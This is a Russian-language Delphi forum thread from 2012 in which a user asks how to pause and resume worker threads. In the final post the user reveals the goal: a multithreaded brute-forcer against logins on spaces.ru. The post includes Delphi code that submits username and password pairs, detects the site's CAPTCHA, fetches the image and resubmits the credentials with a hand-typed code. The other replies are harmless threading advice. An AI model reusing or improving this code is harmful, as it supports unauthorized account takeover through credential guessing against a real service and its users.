Регистрация Главная Сообщество
Сообщения за день Справка Регистрация
Навигация
Zhyk.org LIVE! Реклама на Zhyk.org Правила Форума Награды и достижения Доска "почета"

как остановить выполнение многопоточной программы ?

-

Вопросы и ответы, обсуждения

- Ваши вопросы по Pascal/Delphi только в данном разделе

Ответ
 
Опции темы
Старый 30.05.2012, 19:10   #1
 Разведчик
Аватар для *Хalyava*
 
*Хalyava* на правильном пути
Регистрация: 16.10.2011
Сообщений: 9
Популярность: 92
Сказал(а) спасибо: 8
Поблагодарили 12 раз(а) в 8 сообщениях
 
По умолчанию как остановить выполнение многопоточной программы ?

Всем привет. Помогите решить мою проблему )))

Есть многопоточная программа. В любой момент нужно остановить выполнение всех потоков, а потом запустить (все делается по нажатию Button`а)

Как это воплотить в реальность ?)
  Ответить с цитированием
Старый 30.05.2012, 21:05   #2
NoItemName
 Рыцарь
Аватар для J-Fobos
 
J-Fobos сломал счётчик популярности :(J-Fobos сломал счётчик популярности :(J-Fobos сломал счётчик популярности :(J-Fobos сломал счётчик популярности :(J-Fobos сломал счётчик популярности :(J-Fobos сломал счётчик популярности :(J-Fobos сломал счётчик популярности :(J-Fobos сломал счётчик популярности :(J-Fobos сломал счётчик популярности :(J-Fobos сломал счётчик популярности :(J-Fobos сломал счётчик популярности :(
Регистрация: 12.04.2009
Сообщений: 394
Популярность: 47903
Сказал(а) спасибо: 515
Поблагодарили 1,124 раз(а) в 430 сообщениях
 
По умолчанию Re: как остановить выполнение многопоточной программы ?

Функция TerminateThread. Но не стоит ею злоупотреблять.
________________

В любом из нас спит гений. И с каждым днем все крепче.
Запомните раз и навсегда:= 'Помочь' <> 'Сделайте за меня';
  Ответить с цитированием
Старый 30.05.2012, 22:06   #3
 Разведчик
Аватар для pavel!
 
pavel! никому не известный тип
Регистрация: 30.09.2010
Сообщений: 4
Популярность: 10
Сказал(а) спасибо: 0
Поблагодарили 0 раз(а) в 0 сообщениях
 
По умолчанию Re: как остановить выполнение многопоточной программы ?

Я делаю так:
Создаю булевую переменную, допустим work:Boolean (пишу от руки не знаю правельно нет )
В 1 кнопку которой запускаю поток ставлю work:=true;
В кнопку стоп ставлю work:=false;
  Ответить с цитированием
Старый 30.05.2012, 22:51   #4
Заблокирован
 Пехотинец
Аватар для Skrillex3
 
Skrillex3 душа компанииSkrillex3 душа компанииSkrillex3 душа компанииSkrillex3 душа компанииSkrillex3 душа компанииSkrillex3 душа компанииSkrillex3 душа компанииSkrillex3 душа компании
Регистрация: 23.03.2012
Сообщений: 83
Популярность: 908
Сказал(а) спасибо: 102
Поблагодарили 144 раз(а) в 61 сообщениях
Отправить сообщение для Skrillex3 с помощью Skype™
 
По умолчанию Re: как остановить выполнение многопоточной программы ?

Thread.Pause;
  Ответить с цитированием
Старый 31.05.2012, 10:28   #5
 Разведчик
Аватар для *Хalyava*
 
*Хalyava* на правильном пути
Регистрация: 16.10.2011
Сообщений: 9
Популярность: 92
Сказал(а) спасибо: 8
Поблагодарили 12 раз(а) в 8 сообщениях
 
По умолчанию Re: как остановить выполнение многопоточной программы ?

получилось только одним способом. создал переменную co:TThread (класс моего потока)

и останавливаю поток co:Suspend;
но получается немного не так как хотелось бы...

моя цель :
я делаю многопоточный брут. при нескольких обращениях к одному логину на сайте выскакивает капча. мне нужно ее отловить и ввести.

ставлю условие :
Код:
if pos('capcha',s1)<>0 then
   begin
....
co.suspend;
......
при 1 потоке поток останавливается и я ввожу капчу - авторизация на сайт проходит.

при потоках больших одному, поток с капчей останавливается но капча не проходит так как в условии есть такие строки
Код:
login:=(poss.Strings[0]);
password:=(poss.Strings[1]);
переменные login, password при правдивом условии добавляют в себя строки в которых содержится логин[0] и пароль[1].

соответственно при кол-ве потоков которые больше одного вы скакивает сразу несколько капч. поэтому картинка (капча) остается одна, а login и password берутся из следующей капчи.

как быть ?






вот сам код:
Код:
poss.Add('name='+Facc);
poss.Add('password='+Fpas);
poss.Add('link_id=');
poss.Add('sid=');

   HTTP:=TIdHTTP.Create(nil);
     HTTP.HandleRedirects:=True;


      try

 s1:=http.Post('http://spaces.ru/mysite/',poss);  // отправляется пост запрос на сервер. нам еще не известно что будет капча

login:=(poss.Strings[0]);
password:=(poss.Strings[1]);


   if pos('capcha',s1)<>0 then  // условие проверки капчи
   begin
     reg.Expression:='http://spaces.ru/capcha/(.*?)"';
  if reg.Exec(s1)then
  s3:= (reg.Match[1]);

   poss1:=tstringlist.Create;
 PNG:=TPNGImage.Create;
memStream:=TMemoryStream.Create;
http.Get('http://spaces.ru/capcha/'+s3,memstream);
memstream.Position:=0;
PNG.LoadFromStream(memstream);
form1.Image1.Picture.Assign(PNG);
PNG.Free;
memstream.Free;




co.Suspend;



poss1.Add('sid=');
poss1.Add(login);
poss1.Add(password);
poss1.Add('link_id=');
poss1.Add('captcha_code='+form1.edit2.Text);

      s1:=http.Post('http://spaces.ru/mysite/?sid=',poss1);  // пост запрос уже с введенной капчей


end;

в обработчике кнопки button написан следующий код:
co.Resume;

Последний раз редактировалось *Хalyava*; 31.05.2012 в 10:31.
  Ответить с цитированием
Ответ


Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход

Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[Программа] выполнение срочняков maniakk Тюряга ВКонтакте 58 07.05.2012 13:55
[Помогите!] Как программно остановить выполнение программы. *Хalyava* Вопросы и ответы, обсуждения 2 28.10.2011 13:55
Остановить ману талисмана. Мерль Баги и читы Lineage 2 1 06.12.2010 13:52
Как остановить таймер tolctiak2007 Cabal Online 4 01.08.2009 16:41

Заявление об ответственности / Список мошенников

Часовой пояс GMT +4, время: 00:53.

Пишите нам: [email protected]
Copyright © 2024 vBulletin Solutions, Inc.
Translate: zCarot. Webdesign by DevArt (Fox)
G-gaMe! Team production | Since 2008
Hosted by GShost.net